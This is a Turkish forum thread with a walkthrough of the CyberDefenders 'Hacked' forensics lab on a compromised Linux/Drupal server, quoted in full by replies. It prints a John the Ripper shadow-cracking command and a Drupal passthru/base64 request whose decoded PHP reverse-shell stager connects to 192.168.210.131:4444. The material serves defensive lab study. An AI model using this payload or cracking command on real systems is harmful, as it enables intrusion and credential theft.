Hacked - CyberDefender Lab

borekaenxd97

Blue Tim Emektar
24 Nis 2020
217
342
Ey Türk Gençliği!


Selamlar bugün "cyberdefenders.org" üzerinden "Hacked" adlı challange'ı inceleyip çözümünü gerçekleştireceğiz.

Senaryo;
Güvenliği ihlal edilmiş bir Linux web sunucusunu analiz etmeniz için çağrıldınız. Tehdit aktörünün nasıl erişim sağladığını, sistemde hangi değişikliklerin uygulandığını ve hangi kalıcı tekniklerin kullanıldığını öğrenin. (ör. arka kapılar, kullanıcılar, oturumlar vb.).




Kullanılan Araçlar;

FTK Imager
R-Studio





1) What is the system timezone?(Sistemin saat dilimi nedir ?)
Sistemin saat dilimini Linux da timedatectl komutu ile öğreniyoruz. İmaj dosyamızda ise etc(konfigürasyon dosyalarının bulunduğu dizin) altında timezone dosyasında görüntülüyoruz.



Cevap: Europe/Brussels




2) Who was the last user to log in to the system?(Sisteme son giriş yapan kullanıcı kimdir ?)


Linux için sisteme son giriş yapan kullanıcıları last, lastlog komutları yardımıyla görüntüleyebiliriz. İmaj dosyamızda ise (log kayıtlarının tutulduğu) /var/log dizini altında auth.log dosyasında bulabiliriz. Aşağıdaki ekran görüntüsünde cevabımız yanıltıcı bir kullanıcı adı şeklindedir.



Cevap: mail


q92hiek.jpg


3) What was the source port the user 'mail' connected from?(Mail kullanıcısının bağlandığı kaynak port neydi ?)

2. sorunun görselinde bağlantının kabul edildiği log kaydında kaynak portu görebilirsiniz.

Cevap: 57708


q92hiek.jpg


4) How long was the last session for user 'mail'? (Minutes only)(Mail kullanıcısının son oturumu ne kadar sürdü ?)

Aşağıdaki görselde mail kullanıcısının giriş yaptığı Oct 5 13:23:34 tarihi ve oturumu kapattığı Oct 5 13:24:11 tarihi arasındaki farkı dakika cinsinden alırsak cevabımıza ulaşmış oluruz.



Cevap: 1


q92hiek.jpg


5) Which server service did the last user use to log in to the system?(Son kullanıcı sisteme giriş yapmak için hangi sunucu servisini kullandı ?)

Resimde mail kullanıcısının başarıyla giriş yaptığı satırda cevap gösterilmiştir.



Cevap: sshd

sshd, OpenSSH sunucu işlemidir. SSH protokolünü kullanarak gelen bağlantıları dinler ve protokol için sunucu görevi görür. Kullanıcı kimlik doğrulaması, şifreleme, terminal bağlantıları, dosya aktarımları ve tünel oluşturma işlemlerini gerçekleştirir.


q92hiek.jpg


6) What type of authentication attack was performed against the target machine?(Hedef makineye karşı hangi tür bir kimlik doğrulama saldırısı gerçekleştirildi ?)

Aşağıdaki resimde de görüleceği üzere dar zaman (dakika,minutes-only) aralıklarında farklı portlardan root kullanıcısı için şifre denemerleri yapılmış. Bu kimlik doğrulama saldırıları kaba kuvvet olarak adlandırılır.



Cevap: bruteforce


q92hiek.jpg


7) How many IP addresses are listed in the '/var/log/lastlog' file?(/var/log/lastlog dosyası altında kaç tane IP adresi bulunmaktadır ?)

Soruda belirtilen dizin altındaki lastlog dosyasına gittiğimizde hex formatlara şöyle kısaca bir göz gezdiriyoruz ve çoğu değerin 0 olduğunu görüntülüyoruz. Sağ tarafında bulunan text formata göz gezdirdiğimizde ise bizi ‘3*Wtty1 şeklinde bir string ifade karşılıyor. Eğer kaydırma çubuğu vasıtasıyla çok uzun olan bu dosyayı yavaş yavaş incelersek sonucumuza ulaşabiliriz fakat biz onun yerine bu dosyaya sağ tıklayıp Export Files ile çıkaralım ve sürükle bırak ile Linux’umuza atalım. Bu arada bu lastlog şeklindeki dosyalar düzensiz dosyalar olarak adlandırılır. Yani herhangi bir uzantısı olmayan, varsayılan eklentiler vasıtasıyla görüntüleyemeyeceğimiz formattaki dosyalara düzensiz dosyalar denir.(Windowsta klasörde görüntüleyeceğimiz bir dosyaya Görünüm>Dosya Adı Uzantıları seçeneğini aktif etmemize rağmen görünmüyorsa buna düzensiz dosya diyebiliriz.) Linuxa aldığımız bu dosyayı strings komutuyla çalıştırırsak bize cevabımızı verecektir.

*Aynı zamanda Linux içinde varsayılan olarak gelen komut satırı hex görüntüleyicisi olan hexly toolu ile lastlog dosyasımızı çalıştırırsak(hexyl lastlog) ve görüntülediğimiz ip adreslerinin hexadecimal karşılıklarını FTK Imager içinde Ctrl+F(Bul) ile aratırsak kolay bir şekilde ip adreslerinin sağlamasını yapabiliriz.




Cevap: 2

q92hiek.jpg


8) How many users have a login shell?(Kaç kullanıcının oturum açma kabuğu/shell var ?)

Kullanıcılarının kabuklarını görüntülemek için /etc/passwd dosyasına bakıyoruz. Soruyu cevaplamak için FTK Imager içerisinde Ctrl+F ile /bin/bash araması yaparsak kabuğa sahip kullanıcıları görüntüleriz.

*Kabuğu nologin olanlar ise doğrudan sistemde oturum açamaz, ayrıca bu kullanıcı çok düşük izinlerle yapılandırılmıştır.

*Bir sistem yöneticisinin bir Linux sistemindeki kullanıcı hesaplarını devre dışı bırakması gerektiği zaman nologin kullanılır. Devre dışı bırakılmış hesaplar için yedek bir kabuk alanı olarak tasarlanmıştır.




Cevap: 5

q92hiek.jpg


9) What is the password of the mail user?(Mail kullanıcısının parolası nedir ?)

Linux kullanıcılarının şifrelerinin bulunduğu dosya olan /etc/shadow a bakmamız gerekir. Burada ise mail kullanıcısının parolası şifreli bir şekilde tutulmaktadır. Bu dosyayı Export Files ile dışarı çıkarıp, sürükle bırak ile Linux’a alalım. Şifreli dosyamızı ise JohnTheRipper şifre kırma aracı ile kırmaya çalışalım.

john –wordlist=wordlistimiz kırılacak_dosya (Shadow dosyasını format(--format) belirtmeden kırabiliriz, wordlist olarak ise rockyou txt dosyasını kullanacağız.)

john –wordlist=/usr/share/wordlists/rockyou.txt shadow

Bu komut bize mail kullanıcısının şifresini kırmış bir şekilde gösterecektir.




Cevap: forensics

q92hiek.jpg


10) Which user account was created by the attacker?(Saldırgan tarafından hangi hesap oluşturuldu ?)

Linuxta kullanıcıları useradd veya adduser komutlarıyla oluştururuz. Fakat useradd yaygın olarak kullanılmaktadır. Burdan yola çıkarak kullanıcı oluşturulduğunda bir kayıt, log kaydı tutulacağı için bunu /var/log dizini altında auth.log dosyasına bakalım. Ctrl+F ile adduser araması yaparsak boş bir sonuç döner fakat useradd yaparsak birkaç filtreleme görüntüleyebiliriz. Bunlara göz gezdirdiğimizde içinde COMMAND olan bir satır dikkatimizi çekiyor. Zaten bu satırda skel dizini dikkatimizi çekiyor.(Buradaki dosyalar, kullanıcı hesabı açıldığında kullanıcının ev dizinine kopyalanır.)



Cevap: php

q92hiek.jpg


11) How many user groups exist on the machine?(Makinede kaç kullanıcı grubu var ?)

Linux içinde grupları /etc dizini altında görüntüleyebiliriz. İmaj dosyamızda ise group dosyasına gittiğimizde grupları görüyoruz. Export Files ile dosyayı çıkarıp Linux’a atalım.

cat group | nl -> Komutunu çalıştırırsak hem group dosyasını görüntülemiş hem de dosyadaki satır sayılarını görüntülemiş oluruz.






Cevap: 58


q92hiek.jpg


12) How many users have sudo access?(Kaç kullanıcının sudo erişimi var ?)

Bu soruyu ise gruplardan yola çıkarak çözebiliriz. Sudo grubuna ait kullanıcılar sudo erişimine sahip demektir.



Cevap: 2

q92hiek.jpg


13) What is the home directory of the PHP user?(PHP kullanıcısının ana dizini nedir ?)

Root dışındaki kullanıcıların home/ana dizinlerini /etc dizini altında passwd dosyasında görüntüleriz.



Cevap: /usr/php

q92hiek.jpg


14) What command did the attacker use to gain root privilege? (Answer contains two spaces)(Saldırgan root/kök ayrıcalığı kazanmak için hangi komutu kullandı ?)

Öncelikle bu soruyu çözmek için temele inmemiz gerekir. History ile kullanıcının bütün komutlarını listeleriz. Fakat log kayıtlarını görüntülemek için /var dizinine biraz bakınalım. Mail dizinine girelim. Bizi 1 dosya ve 1 dizin karşılıyor. Dosya ise .bash_history(gizli dosya).

Bu dosyayı incelediğimizde kullanıcının giriş yaptıktan sonraki komutlarını görüntülüyoruz. Burada komutlara baktığımızda sorumuzu cevaplayacak satır karşımıza çıkıyor.




Cevap: sudo su –

q92hiek.jpg


15) Which file did the user 'root' delete?( Kullanıcı 'root' hangi dosyayı sildi?)

Root kullanıcısının hareketlerini/komutlarını incelemek için home dizini olan root dizinine gidiyoruz.

.bash_history dosyasını incelediğimizde ise birçok komut karşılıyor bizi. Fakat bize lazım olan silme komutu. Onu da aşağılara doğru indiğimizde görüntülüyoruz.




Cevap: 37292.c

q92hiek.jpg


17) What is the content management system (CMS) installed on the machine?( Makinede yüklü olan içerik yönetim sistemi (CMS) nedir?)


Yüklü CMS sistemini görüntülemek için /var/www/html/jabc dizini altındaki .htaccess dosyasına bakıyoruz. Burada bizi cevap karşılıyor.



Cevap: drupal


q92hiek.jpg


18) What is the version of the CMS installed on the machine?( Makinede yüklü olan CMS'nin sürümü nedir?)

CMS versiyonunu görüntülemek için /var/www/html/jabc/profiles/testing dizini altındaki testing.info dosyasına bakıyoruz ve CMS versiyonu bizi karşılıyor.



Cevap: 7.26

q92hiek.jpg


19) Which port was listening to receive the attacker's reverse shell?(Saldırganın ters kabuğunu/reverse shell almak için hangi bağlantı noktası dinliyordu?

Burada dinlenen portu bulmak için tekrardan log kayıtlarıyla ilgilenmemiz gerekir. /var/log/apache2 dizinine gittiğimizde bizi access.log dosyası karşılıyor. Burada encode/decode işlemi olduğunu düşünüp Ctrl+F ile base, base64 araması yapıyoruz ve bizi karşılayan satırlara bakıyoruz. Buradaki satırı tamamen kopyalayıp Burp Suite Decoder kullanarak ya da online base64 decoder kullanarak çözebiliriz. %28 ve %29 URL decode yaparsak bize ( ) sonuçlarını verir. Çünkü

***[ "POST /jabc/?q=user/password&name%5b%23post_render%5d%5b%5d=passthru&name%5b%23markup%5d=php%20-r%20%27eval%28base64_decode%28 ifadesi (prefix) URL encoding]

***[%29%29%3b%27&name%5b%23type%5d=markup HTTP/1.1" 200 14021 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)" ifadesi ise (suffix) URL encoding]



NOT:

"POST /jabc/?q=user/password&name[#post_render][]=passthru&name[#markup]=php -r 'eval(base64_decode(

));'&name[#type]=markup HTTP/1.1" 200 14021 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"

Yukarıda bahsettiğimiz URL encoding işlemlerinin URL decode hali böyledir. BASE64 decode edeceğimiz kısım ise buradaki parantezler içerisine alınmıştır.



NOT2: Base64 decoding işlemi ise aşağıdaki ifadeye dönüştürülür:

/*<?php /**/ error_reporting(0); $ip = '192.168.210.131'; $port = 4444; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpac.k("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();




Kopyaladığımız ifadenin base64_decode%28 kısmını baştan, sondan ise %29%29 dan itibaren silersek elde edeceğimiz yeni ifadeyi Base64 ile decode edersek aşağıdaki ikinci resimdeki sonuca ulaşırız.





Cevap: 4444


ÖZEL TEŞEKKÜR @'FatBob
 

JohnWick51

Uzman üye
20 Mar 2022
1,867
770
28


Selamlar bugün "cyberdefenders.org" üzerinden "Hacked" adlı challange'ı inceleyip çözümünü gerçekleştireceğiz.

Senaryo;
Güvenliği ihlal edilmiş bir Linux web sunucusunu analiz etmeniz için çağrıldınız. Tehdit aktörünün nasıl erişim sağladığını, sistemde hangi değişikliklerin uygulandığını ve hangi kalıcı tekniklerin kullanıldığını öğrenin. (ör. arka kapılar, kullanıcılar, oturumlar vb.).




Kullanılan Araçlar;

FTK Imager
R-Studio





1) What is the system timezone?(Sistemin saat dilimi nedir ?)
Sistemin saat dilimini Linux da timedatectl komutu ile öğreniyoruz. İmaj dosyamızda ise etc(konfigürasyon dosyalarının bulunduğu dizin) altında timezone dosyasında görüntülüyoruz.



Cevap: Europe/Brussels




2) Who was the last user to log in to the system?(Sisteme son giriş yapan kullanıcı kimdir ?)


Linux için sisteme son giriş yapan kullanıcıları last, lastlog komutları yardımıyla görüntüleyebiliriz. İmaj dosyamızda ise (log kayıtlarının tutulduğu) /var/log dizini altında auth.log dosyasında bulabiliriz. Aşağıdaki ekran görüntüsünde cevabımız yanıltıcı bir kullanıcı adı şeklindedir.



Cevap: mail


q92hiek.jpg


3) What was the source port the user 'mail' connected from?(Mail kullanıcısının bağlandığı kaynak port neydi ?)

2. sorunun görselinde bağlantının kabul edildiği log kaydında kaynak portu görebilirsiniz.

Cevap: 57708


q92hiek.jpg


4) How long was the last session for user 'mail'? (Minutes only)(Mail kullanıcısının son oturumu ne kadar sürdü ?)

Aşağıdaki görselde mail kullanıcısının giriş yaptığı Oct 5 13:23:34 tarihi ve oturumu kapattığı Oct 5 13:24:11 tarihi arasındaki farkı dakika cinsinden alırsak cevabımıza ulaşmış oluruz.



Cevap: 1


q92hiek.jpg


5) Which server service did the last user use to log in to the system?(Son kullanıcı sisteme giriş yapmak için hangi sunucu servisini kullandı ?)

Resimde mail kullanıcısının başarıyla giriş yaptığı satırda cevap gösterilmiştir.



Cevap: sshd

sshd, OpenSSH sunucu işlemidir. SSH protokolünü kullanarak gelen bağlantıları dinler ve protokol için sunucu görevi görür. Kullanıcı kimlik doğrulaması, şifreleme, terminal bağlantıları, dosya aktarımları ve tünel oluşturma işlemlerini gerçekleştirir.


q92hiek.jpg


6) What type of authentication attack was performed against the target machine?(Hedef makineye karşı hangi tür bir kimlik doğrulama saldırısı gerçekleştirildi ?)

Aşağıdaki resimde de görüleceği üzere dar zaman (dakika,minutes-only) aralıklarında farklı portlardan root kullanıcısı için şifre denemerleri yapılmış. Bu kimlik doğrulama saldırıları kaba kuvvet olarak adlandırılır.



Cevap: bruteforce


q92hiek.jpg


7) How many IP addresses are listed in the '/var/log/lastlog' file?(/var/log/lastlog dosyası altında kaç tane IP adresi bulunmaktadır ?)

Soruda belirtilen dizin altındaki lastlog dosyasına gittiğimizde hex formatlara şöyle kısaca bir göz gezdiriyoruz ve çoğu değerin 0 olduğunu görüntülüyoruz. Sağ tarafında bulunan text formata göz gezdirdiğimizde ise bizi ‘3*Wtty1 şeklinde bir string ifade karşılıyor. Eğer kaydırma çubuğu vasıtasıyla çok uzun olan bu dosyayı yavaş yavaş incelersek sonucumuza ulaşabiliriz fakat biz onun yerine bu dosyaya sağ tıklayıp Export Files ile çıkaralım ve sürükle bırak ile Linux’umuza atalım. Bu arada bu lastlog şeklindeki dosyalar düzensiz dosyalar olarak adlandırılır. Yani herhangi bir uzantısı olmayan, varsayılan eklentiler vasıtasıyla görüntüleyemeyeceğimiz formattaki dosyalara düzensiz dosyalar denir.(Windowsta klasörde görüntüleyeceğimiz bir dosyaya Görünüm>Dosya Adı Uzantıları seçeneğini aktif etmemize rağmen görünmüyorsa buna düzensiz dosya diyebiliriz.) Linuxa aldığımız bu dosyayı strings komutuyla çalıştırırsak bize cevabımızı verecektir.

*Aynı zamanda Linux içinde varsayılan olarak gelen komut satırı hex görüntüleyicisi olan hexly toolu ile lastlog dosyasımızı çalıştırırsak(hexyl lastlog) ve görüntülediğimiz ip adreslerinin hexadecimal karşılıklarını FTK Imager içinde Ctrl+F(Bul) ile aratırsak kolay bir şekilde ip adreslerinin sağlamasını yapabiliriz.




Cevap: 2

q92hiek.jpg


8) How many users have a login shell?(Kaç kullanıcının oturum açma kabuğu/shell var ?)

Kullanıcılarının kabuklarını görüntülemek için /etc/passwd dosyasına bakıyoruz. Soruyu cevaplamak için FTK Imager içerisinde Ctrl+F ile /bin/bash araması yaparsak kabuğa sahip kullanıcıları görüntüleriz.

*Kabuğu nologin olanlar ise doğrudan sistemde oturum açamaz, ayrıca bu kullanıcı çok düşük izinlerle yapılandırılmıştır.

*Bir sistem yöneticisinin bir Linux sistemindeki kullanıcı hesaplarını devre dışı bırakması gerektiği zaman nologin kullanılır. Devre dışı bırakılmış hesaplar için yedek bir kabuk alanı olarak tasarlanmıştır.




Cevap: 5

q92hiek.jpg


9) What is the password of the mail user?(Mail kullanıcısının parolası nedir ?)

Linux kullanıcılarının şifrelerinin bulunduğu dosya olan /etc/shadow a bakmamız gerekir. Burada ise mail kullanıcısının parolası şifreli bir şekilde tutulmaktadır. Bu dosyayı Export Files ile dışarı çıkarıp, sürükle bırak ile Linux’a alalım. Şifreli dosyamızı ise JohnTheRipper şifre kırma aracı ile kırmaya çalışalım.

john –wordlist=wordlistimiz kırılacak_dosya (Shadow dosyasını format(--format) belirtmeden kırabiliriz, wordlist olarak ise rockyou txt dosyasını kullanacağız.)

john –wordlist=/usr/share/wordlists/rockyou.txt shadow

Bu komut bize mail kullanıcısının şifresini kırmış bir şekilde gösterecektir.




Cevap: forensics

q92hiek.jpg


10) Which user account was created by the attacker?(Saldırgan tarafından hangi hesap oluşturuldu ?)

Linuxta kullanıcıları useradd veya adduser komutlarıyla oluştururuz. Fakat useradd yaygın olarak kullanılmaktadır. Burdan yola çıkarak kullanıcı oluşturulduğunda bir kayıt, log kaydı tutulacağı için bunu /var/log dizini altında auth.log dosyasına bakalım. Ctrl+F ile adduser araması yaparsak boş bir sonuç döner fakat useradd yaparsak birkaç filtreleme görüntüleyebiliriz. Bunlara göz gezdirdiğimizde içinde COMMAND olan bir satır dikkatimizi çekiyor. Zaten bu satırda skel dizini dikkatimizi çekiyor.(Buradaki dosyalar, kullanıcı hesabı açıldığında kullanıcının ev dizinine kopyalanır.)



Cevap: php

q92hiek.jpg


11) How many user groups exist on the machine?(Makinede kaç kullanıcı grubu var ?)

Linux içinde grupları /etc dizini altında görüntüleyebiliriz. İmaj dosyamızda ise group dosyasına gittiğimizde grupları görüyoruz. Export Files ile dosyayı çıkarıp Linux’a atalım.

cat group | nl -> Komutunu çalıştırırsak hem group dosyasını görüntülemiş hem de dosyadaki satır sayılarını görüntülemiş oluruz.






Cevap: 58


q92hiek.jpg


12) How many users have sudo access?(Kaç kullanıcının sudo erişimi var ?)

Bu soruyu ise gruplardan yola çıkarak çözebiliriz. Sudo grubuna ait kullanıcılar sudo erişimine sahip demektir.



Cevap: 2

q92hiek.jpg


13) What is the home directory of the PHP user?(PHP kullanıcısının ana dizini nedir ?)

Root dışındaki kullanıcıların home/ana dizinlerini /etc dizini altında passwd dosyasında görüntüleriz.



Cevap: /usr/php

q92hiek.jpg


14) What command did the attacker use to gain root privilege? (Answer contains two spaces)(Saldırgan root/kök ayrıcalığı kazanmak için hangi komutu kullandı ?)

Öncelikle bu soruyu çözmek için temele inmemiz gerekir. History ile kullanıcının bütün komutlarını listeleriz. Fakat log kayıtlarını görüntülemek için /var dizinine biraz bakınalım. Mail dizinine girelim. Bizi 1 dosya ve 1 dizin karşılıyor. Dosya ise .bash_history(gizli dosya).

Bu dosyayı incelediğimizde kullanıcının giriş yaptıktan sonraki komutlarını görüntülüyoruz. Burada komutlara baktığımızda sorumuzu cevaplayacak satır karşımıza çıkıyor.




Cevap: sudo su –

q92hiek.jpg


15) Which file did the user 'root' delete?( Kullanıcı 'root' hangi dosyayı sildi?)

Root kullanıcısının hareketlerini/komutlarını incelemek için home dizini olan root dizinine gidiyoruz.

.bash_history dosyasını incelediğimizde ise birçok komut karşılıyor bizi. Fakat bize lazım olan silme komutu. Onu da aşağılara doğru indiğimizde görüntülüyoruz.




Cevap: 37292.c

q92hiek.jpg


17) What is the content management system (CMS) installed on the machine?( Makinede yüklü olan içerik yönetim sistemi (CMS) nedir?)

Yüklü CMS sistemini görüntülemek için /var/www/html/jabc dizini altındaki .htaccess dosyasına bakıyoruz. Burada bizi cevap karşılıyor.



Cevap: drupal


q92hiek.jpg


18) What is the version of the CMS installed on the machine?( Makinede yüklü olan CMS'nin sürümü nedir?)

CMS versiyonunu görüntülemek için /var/www/html/jabc/profiles/testing dizini altındaki testing.info dosyasına bakıyoruz ve CMS versiyonu bizi karşılıyor.



Cevap: 7.26

q92hiek.jpg


19) Which port was listening to receive the attacker's reverse shell?(Saldırganın ters kabuğunu/reverse shell almak için hangi bağlantı noktası dinliyordu?

Burada dinlenen portu bulmak için tekrardan log kayıtlarıyla ilgilenmemiz gerekir. /var/log/apache2 dizinine gittiğimizde bizi access.log dosyası karşılıyor. Burada encode/decode işlemi olduğunu düşünüp Ctrl+F ile base, base64 araması yapıyoruz ve bizi karşılayan satırlara bakıyoruz. Buradaki satırı tamamen kopyalayıp Burp Suite Decoder kullanarak ya da online base64 decoder kullanarak çözebiliriz. %28 ve %29 URL decode yaparsak bize ( ) sonuçlarını verir. Çünkü

***[ "POST /jabc/?q=user/password&name%5b%23post_render%5d%5b%5d=passthru&name%5b%23markup%5d=php%20-r%20%27eval%28base64_decode%28 ifadesi (prefix) URL encoding]

***[%29%29%3b%27&name%5b%23type%5d=markup HTTP/1.1" 200 14021 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)" ifadesi ise (suffix) URL encoding]



NOT:

"POST /jabc/?q=user/password&name[#post_render][]=passthru&name[#markup]=php -r 'eval(base64_decode(

));'&name[#type]=markup HTTP/1.1" 200 14021 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"

Yukarıda bahsettiğimiz URL encoding işlemlerinin URL decode hali böyledir. BASE64 decode edeceğimiz kısım ise buradaki parantezler içerisine alınmıştır.



NOT2: Base64 decoding işlemi ise aşağıdaki ifadeye dönüştürülür:

/*<?php /**/ error_reporting(0); $ip = '192.168.210.131'; $port = 4444; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpac.k("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();




Kopyaladığımız ifadenin base64_decode%28 kısmını baştan, sondan ise %29%29 dan itibaren silersek elde edeceğimiz yeni ifadeyi Base64 ile decode edersek aşağıdaki ikinci resimdeki sonuca ulaşırız.





Cevap: 4444


ÖZEL TEŞEKKÜR @'FatBob
Guzel olmus. TESEKKURLER
 

AseNa’

Katılımcı Üye
29 Ağu 2021
504
1,213


Selamlar bugün "cyberdefenders.org" üzerinden "Hacked" adlı challange'ı inceleyip çözümünü gerçekleştireceğiz.

Senaryo;
Güvenliği ihlal edilmiş bir Linux web sunucusunu analiz etmeniz için çağrıldınız. Tehdit aktörünün nasıl erişim sağladığını, sistemde hangi değişikliklerin uygulandığını ve hangi kalıcı tekniklerin kullanıldığını öğrenin. (ör. arka kapılar, kullanıcılar, oturumlar vb.).




Kullanılan Araçlar;

FTK Imager
R-Studio





1) What is the system timezone?(Sistemin saat dilimi nedir ?)
Sistemin saat dilimini Linux da timedatectl komutu ile öğreniyoruz. İmaj dosyamızda ise etc(konfigürasyon dosyalarının bulunduğu dizin) altında timezone dosyasında görüntülüyoruz.



Cevap: Europe/Brussels




2) Who was the last user to log in to the system?(Sisteme son giriş yapan kullanıcı kimdir ?)


Linux için sisteme son giriş yapan kullanıcıları last, lastlog komutları yardımıyla görüntüleyebiliriz. İmaj dosyamızda ise (log kayıtlarının tutulduğu) /var/log dizini altında auth.log dosyasında bulabiliriz. Aşağıdaki ekran görüntüsünde cevabımız yanıltıcı bir kullanıcı adı şeklindedir.



Cevap: mail


q92hiek.jpg


3) What was the source port the user 'mail' connected from?(Mail kullanıcısının bağlandığı kaynak port neydi ?)

2. sorunun görselinde bağlantının kabul edildiği log kaydında kaynak portu görebilirsiniz.

Cevap: 57708


q92hiek.jpg


4) How long was the last session for user 'mail'? (Minutes only)(Mail kullanıcısının son oturumu ne kadar sürdü ?)

Aşağıdaki görselde mail kullanıcısının giriş yaptığı Oct 5 13:23:34 tarihi ve oturumu kapattığı Oct 5 13:24:11 tarihi arasındaki farkı dakika cinsinden alırsak cevabımıza ulaşmış oluruz.



Cevap: 1


q92hiek.jpg


5) Which server service did the last user use to log in to the system?(Son kullanıcı sisteme giriş yapmak için hangi sunucu servisini kullandı ?)

Resimde mail kullanıcısının başarıyla giriş yaptığı satırda cevap gösterilmiştir.



Cevap: sshd

sshd, OpenSSH sunucu işlemidir. SSH protokolünü kullanarak gelen bağlantıları dinler ve protokol için sunucu görevi görür. Kullanıcı kimlik doğrulaması, şifreleme, terminal bağlantıları, dosya aktarımları ve tünel oluşturma işlemlerini gerçekleştirir.


q92hiek.jpg


6) What type of authentication attack was performed against the target machine?(Hedef makineye karşı hangi tür bir kimlik doğrulama saldırısı gerçekleştirildi ?)

Aşağıdaki resimde de görüleceği üzere dar zaman (dakika,minutes-only) aralıklarında farklı portlardan root kullanıcısı için şifre denemerleri yapılmış. Bu kimlik doğrulama saldırıları kaba kuvvet olarak adlandırılır.



Cevap: bruteforce


q92hiek.jpg


7) How many IP addresses are listed in the '/var/log/lastlog' file?(/var/log/lastlog dosyası altında kaç tane IP adresi bulunmaktadır ?)

Soruda belirtilen dizin altındaki lastlog dosyasına gittiğimizde hex formatlara şöyle kısaca bir göz gezdiriyoruz ve çoğu değerin 0 olduğunu görüntülüyoruz. Sağ tarafında bulunan text formata göz gezdirdiğimizde ise bizi ‘3*Wtty1 şeklinde bir string ifade karşılıyor. Eğer kaydırma çubuğu vasıtasıyla çok uzun olan bu dosyayı yavaş yavaş incelersek sonucumuza ulaşabiliriz fakat biz onun yerine bu dosyaya sağ tıklayıp Export Files ile çıkaralım ve sürükle bırak ile Linux’umuza atalım. Bu arada bu lastlog şeklindeki dosyalar düzensiz dosyalar olarak adlandırılır. Yani herhangi bir uzantısı olmayan, varsayılan eklentiler vasıtasıyla görüntüleyemeyeceğimiz formattaki dosyalara düzensiz dosyalar denir.(Windowsta klasörde görüntüleyeceğimiz bir dosyaya Görünüm>Dosya Adı Uzantıları seçeneğini aktif etmemize rağmen görünmüyorsa buna düzensiz dosya diyebiliriz.) Linuxa aldığımız bu dosyayı strings komutuyla çalıştırırsak bize cevabımızı verecektir.

*Aynı zamanda Linux içinde varsayılan olarak gelen komut satırı hex görüntüleyicisi olan hexly toolu ile lastlog dosyasımızı çalıştırırsak(hexyl lastlog) ve görüntülediğimiz ip adreslerinin hexadecimal karşılıklarını FTK Imager içinde Ctrl+F(Bul) ile aratırsak kolay bir şekilde ip adreslerinin sağlamasını yapabiliriz.




Cevap: 2

q92hiek.jpg


8) How many users have a login shell?(Kaç kullanıcının oturum açma kabuğu/shell var ?)

Kullanıcılarının kabuklarını görüntülemek için /etc/passwd dosyasına bakıyoruz. Soruyu cevaplamak için FTK Imager içerisinde Ctrl+F ile /bin/bash araması yaparsak kabuğa sahip kullanıcıları görüntüleriz.

*Kabuğu nologin olanlar ise doğrudan sistemde oturum açamaz, ayrıca bu kullanıcı çok düşük izinlerle yapılandırılmıştır.

*Bir sistem yöneticisinin bir Linux sistemindeki kullanıcı hesaplarını devre dışı bırakması gerektiği zaman nologin kullanılır. Devre dışı bırakılmış hesaplar için yedek bir kabuk alanı olarak tasarlanmıştır.




Cevap: 5

q92hiek.jpg


9) What is the password of the mail user?(Mail kullanıcısının parolası nedir ?)

Linux kullanıcılarının şifrelerinin bulunduğu dosya olan /etc/shadow a bakmamız gerekir. Burada ise mail kullanıcısının parolası şifreli bir şekilde tutulmaktadır. Bu dosyayı Export Files ile dışarı çıkarıp, sürükle bırak ile Linux’a alalım. Şifreli dosyamızı ise JohnTheRipper şifre kırma aracı ile kırmaya çalışalım.

john –wordlist=wordlistimiz kırılacak_dosya (Shadow dosyasını format(--format) belirtmeden kırabiliriz, wordlist olarak ise rockyou txt dosyasını kullanacağız.)

john –wordlist=/usr/share/wordlists/rockyou.txt shadow

Bu komut bize mail kullanıcısının şifresini kırmış bir şekilde gösterecektir.




Cevap: forensics

q92hiek.jpg


10) Which user account was created by the attacker?(Saldırgan tarafından hangi hesap oluşturuldu ?)

Linuxta kullanıcıları useradd veya adduser komutlarıyla oluştururuz. Fakat useradd yaygın olarak kullanılmaktadır. Burdan yola çıkarak kullanıcı oluşturulduğunda bir kayıt, log kaydı tutulacağı için bunu /var/log dizini altında auth.log dosyasına bakalım. Ctrl+F ile adduser araması yaparsak boş bir sonuç döner fakat useradd yaparsak birkaç filtreleme görüntüleyebiliriz. Bunlara göz gezdirdiğimizde içinde COMMAND olan bir satır dikkatimizi çekiyor. Zaten bu satırda skel dizini dikkatimizi çekiyor.(Buradaki dosyalar, kullanıcı hesabı açıldığında kullanıcının ev dizinine kopyalanır.)



